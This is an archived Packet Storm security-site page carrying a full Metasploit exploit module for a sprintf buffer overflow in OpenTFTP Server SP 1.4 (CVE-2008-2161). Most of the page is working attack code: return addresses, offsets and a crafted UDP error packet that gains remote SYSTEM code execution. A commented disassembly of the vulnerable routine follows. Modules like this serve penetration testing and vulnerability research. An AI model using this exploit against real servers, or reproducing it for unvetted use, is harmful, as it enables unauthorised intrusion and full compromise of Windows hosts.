exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OpenTFTP SP 1.4 Error Packet Overflow

OpenTFTP SP 1.4 Error Packet Overflow
Posted Dec 24, 2011
Authored by tixxDZ, steponequit | Site metasploit.com

This Metasploit module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable condition triggers when the TFTP opcode is configured as an error packet, the TFTP service will then format the message using a sprintf() function, which causes an overflow, therefore allowing remote code execution under the context of SYSTEM. The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone', or 'Service'). By default the target is set to 'Service' because that's the default configuration during OpenTFTP Server SP 1.4's installation.

tags | exploit, remote, overflow, code execution
advisories | CVE-2008-2161
SHA-256 | 10056b046a41d7587ed57448581e4849d5d597aefca473ec48c1a6dfbccc8913

OpenTFTP SP 1.4 Error Packet Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow',
'Description' => %q{
This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable
condition triggers when the TFTP opcode is configured as an error packet, the TFTP
service will then format the message using a sprintf() function, which causes an
overflow, therefore allowing remote code execution under the context of SYSTEM.

The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',
or 'Service'). By default the target is set to 'Service' because that's the default
configuration during OpenTFTP Server SP 1.4's installation.
},
'Author' =>
[
'tixxDZ', #Initial discovery, poc
'steponequit' #Metasploit module
],
'References' =>
[
['CVE', '2008-2161'],
['BID', '29111'],
['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 5000,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#.bss section that is overwritten
[ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],
[ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ]

],
#TFTP server is installed as an NT service by default
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Jul 05 2008'))

register_options(
[
Opt::RPORT(69),
], self.class)
end

def exploit

if target.name =~ /OpenTFTP 1.4 Stand Alone/
# This hits msvcrt.printf()
sploit = "\x00\x05" + make_nops(10)
sploit << payload.encoded
sploit << rand_text_alpha(20517 - payload.encoded.length)
sploit << [target['Ret']].pack('V')
sploit << Rex::Text.rand_text_alpha(1469)

elsif target.name =~ /OpenTFTP 1.4 Service/
#This hits time()
sploit = "\x00\x05" + make_nops(10)
sploit << payload.encoded
sploit << rand_text_alpha(20445 - payload.encoded.length)
sploit << [target['Ret']].pack('V')
sploit << Rex::Text.rand_text_alpha(1545)
end

# Send the malicious packet
connect_udp
udp_sock.put(sploit)
handler
disconnect_udp

end

end

=begin
NOTE: If the module is run on a OSX box, you will probably see this error:
[-] Exploit exception: Message too long
That's OSX for you.

The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:
.text:004022F6 mov eax, ds:dword_41B370
.text:004022FB movzx eax, word ptr [eax]
.text:004022FE mov [esp+5C8h+var_5C8], eax
.text:00402301 mov [ebp+var_550], 0FFFFFFFFh
.text:0040230B call ntohs
.text:00402310 sub esp, 4
.text:00402313 cmp ax, 5
.text:00402317 jnz short loc_40236F
...

When the value matches 0x05, we then head down to a sprinf() function to generate an error
message, which causes an overflow:
.text:00402330 mov eax, ds:dword_41B370
.text:00402335 add eax, 4
.text:00402338 mov [esp+5C8h+var_5BC], eax
.text:0040233C mov [esp+5C8h+var_5C0], edx
.text:00402340 mov [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"
.text:00402348 mov [esp+5C8h+var_5C8], offset byte_41B394
.text:0040234F call sprintf

And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining
control.

In source:
http://pastebin.com/QgZDwcan

else if (ntohs(datain->opcode) == 5) // Line 224
{
sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
logMess(req1, 1);
..... so on .....

You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't
give you a better crash than this one.
=end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close